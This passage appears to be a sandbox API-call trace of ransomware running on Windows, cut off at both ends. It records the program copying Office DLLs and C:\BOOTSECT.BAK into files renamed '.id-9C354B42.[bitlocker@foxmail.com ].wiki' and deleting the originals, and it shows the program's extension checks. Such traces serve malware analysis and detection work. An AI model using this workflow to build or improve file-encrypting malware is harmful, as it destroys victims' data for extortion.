(lpString=".zip") returned 4 [0065.983] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".rar") returned 4 [0065.983] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0065.983] lstrlenW (lpString=".bz2") returned 4 [0065.984] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0065.984] lstrlenW (lpString=".7z") returned 3 [0065.984] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0065.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.984] lstrlenW (lpString=".dbf") returned 4 [0065.984] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0065.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.984] lstrlenW (lpString=".1cd") returned 4 [0065.984] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0065.984] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui") returned 72 [0065.984] lstrlenW (lpString=".jpg") returned 4 [0065.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0065.984] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0065.984] lstrlenW (lpString="ACEODBCI.DLL") returned 12 [0065.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.984] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=52656) returned 1 [0065.984] CloseHandle (hObject=0x220) returned 1 [0065.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 0x20 [0065.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.985] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.985] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0065.985] GetLastError () returned 0x0 [0065.985] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xcdb0, lpOverlapped=0x0) returned 1 [0065.990] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xcdc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xcdc0, lpOverlapped=0x0) returned 1 [0065.991] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.992] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.992] SetEndOfFile (hFile=0x1e0) returned 1 [0065.992] CloseHandle (hObject=0x1e0) returned 1 [0065.992] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.992] SetEndOfFile (hFile=0x220) returned 1 [0065.993] CloseHandle (hObject=0x220) returned 1 [0065.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.994] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceodbci.dll")) returned 1 [0065.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.994] lstrlenW (lpString=".doc") returned 4 [0065.994] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.994] lstrlenW (lpString=".docx") returned 5 [0065.994] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0065.994] lstrlenW (lpString=".pdf") returned 4 [0065.994] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.994] lstrlenW (lpString=".xls") returned 4 [0065.994] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.994] lstrlenW (lpString=".xlsx") returned 5 [0065.994] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0065.994] lstrlenW (lpString=".ppt") returned 4 [0065.994] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.994] lstrlenW (lpString=".zip") returned 4 [0065.994] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.994] lstrlenW (lpString=".rar") returned 4 [0065.995] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.995] lstrlenW (lpString=".bz2") returned 4 [0065.995] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.995] lstrlenW (lpString=".7z") returned 3 [0065.995] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.995] lstrlenW (lpString=".dbf") returned 4 [0065.995] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.995] lstrlenW (lpString=".1cd") returned 4 [0065.995] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.995] lstrlenW (lpString=".jpg") returned 4 [0065.995] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.995] lstrlenW (lpString=".doc") returned 4 [0065.995] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0065.995] lstrlenW (lpString=".docx") returned 5 [0065.995] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0065.995] lstrlenW (lpString=".pdf") returned 4 [0065.995] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0065.995] lstrlenW (lpString=".xls") returned 4 [0065.995] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0065.995] lstrlenW (lpString=".xlsx") returned 5 [0065.995] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0065.995] lstrlenW (lpString=".ppt") returned 4 [0065.995] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0065.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.996] lstrlenW (lpString=".zip") returned 4 [0065.996] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0065.996] lstrlenW (lpString=".rar") returned 4 [0065.996] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0065.996] lstrlenW (lpString=".bz2") returned 4 [0065.996] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0065.996] lstrlenW (lpString=".7z") returned 3 [0065.996] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0065.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.996] lstrlenW (lpString=".dbf") returned 4 [0065.996] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0065.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.996] lstrlenW (lpString=".1cd") returned 4 [0065.996] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0065.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEODBCI.DLL") returned 73 [0065.996] lstrlenW (lpString=".jpg") returned 4 [0065.996] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0065.996] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0065.996] lstrlenW (lpString="ACERECR.DLL") returned 11 [0065.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.997] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=20944) returned 1 [0065.997] CloseHandle (hObject=0x220) returned 1 [0065.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 0x20 [0065.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0065.997] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.997] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0065.998] GetLastError () returned 0x0 [0065.998] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x51d0, lpOverlapped=0x0) returned 1 [0066.000] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0x51e0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x51e0, lpOverlapped=0x0) returned 1 [0066.001] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.001] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.001] SetEndOfFile (hFile=0x1e0) returned 1 [0066.001] CloseHandle (hObject=0x1e0) returned 1 [0066.001] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.002] SetEndOfFile (hFile=0x220) returned 1 [0066.002] CloseHandle (hObject=0x220) returned 1 [0066.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0066.003] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acerecr.dll")) returned 1 [0066.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.003] lstrlenW (lpString=".doc") returned 4 [0066.003] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString=".docx") returned 5 [0066.003] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0066.003] lstrlenW (lpString=".pdf") returned 4 [0066.003] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString=".xls") returned 4 [0066.003] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString=".xlsx") returned 5 [0066.003] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0066.003] lstrlenW (lpString=".ppt") returned 4 [0066.003] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.003] lstrlenW (lpString=".zip") returned 4 [0066.003] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString=".rar") returned 4 [0066.003] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.003] lstrlenW (lpString=".bz2") returned 4 [0066.003] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.003] lstrlenW (lpString=".7z") returned 3 [0066.003] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.003] lstrlenW (lpString=".dbf") returned 4 [0066.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".1cd") returned 4 [0066.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".jpg") returned 4 [0066.004] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".doc") returned 4 [0066.004] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString=".docx") returned 5 [0066.004] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0066.004] lstrlenW (lpString=".pdf") returned 4 [0066.004] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString=".xls") returned 4 [0066.004] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString=".xlsx") returned 5 [0066.004] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0066.004] lstrlenW (lpString=".ppt") returned 4 [0066.004] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".zip") returned 4 [0066.004] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString=".rar") returned 4 [0066.004] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0066.004] lstrlenW (lpString=".bz2") returned 4 [0066.004] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0066.004] lstrlenW (lpString=".7z") returned 3 [0066.004] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".dbf") returned 4 [0066.004] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0066.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.004] lstrlenW (lpString=".1cd") returned 4 [0066.004] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0066.005] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACERECR.DLL") returned 72 [0066.005] lstrlenW (lpString=".jpg") returned 4 [0066.005] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0066.005] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0066.005] lstrlenW (lpString="ACEWSTR.DLL") returned 11 [0066.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0066.005] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=862608) returned 1 [0066.005] CloseHandle (hObject=0x220) returned 1 [0066.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 0x20 [0066.005] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0066.005] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0066.006] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.006] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0066.006] GetLastError () returned 0x0 [0066.006] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xd2990, lpOverlapped=0x0) returned 1 [0066.487] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0066.500] ReadFile (in: hFile=0x220, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.500] WriteFile (in: hFile=0x1e0, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xea, lpOverlapped=0x0) returned 1 [0066.500] SetEndOfFile (hFile=0x1e0) Thread: id = 15 os_tid = 0xab4 [0042.863] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x780740 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10000) returned 0x790748 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710370 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x6) returned 0x7130b8 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x710388 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x100000) returned 0x3870020 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103a0 [0042.864] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7103a0, Size=0x20) returned 0x73f930 [0042.864] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x7103a0 [0042.864] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x7103a0, Size=0x20) returned 0x73f958 [0042.865] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0042.865] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0042.865] Wow64DisableWow64FsRedirection (in: OldValue=0x2d8ff58 | out: OldValue=0x2d8ff58*=0x0) returned 1 [0042.865] lstrlenW (lpString="kernel32.dll") returned 12 [0042.865] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f930 | out: hHeap=0x6c0000) returned 1 [0042.865] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0042.865] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x73f958 | out: hHeap=0x6c0000) returned 1 [0042.865] Sleep (dwMilliseconds=0x64) [0043.129] Sleep (dwMilliseconds=0x64) [0043.309] lstrcmpiW (lpString1=".BAK", lpString2=".wiki") returned -1 [0043.309] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0043.309] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.404] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8192) returned 1 [0043.404] CloseHandle (hObject=0x170) returned 1 [0043.404] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0043.404] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\bootsect.bak.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0043.404] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0043.404] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0043.404] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.405] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.405] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\bootsect.bak.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0043.405] GetLastError () returned 0x0 [0043.405] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2000, lpOverlapped=0x0) returned 1 [0043.418] WriteFile (in: hFile=0x174, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2010, 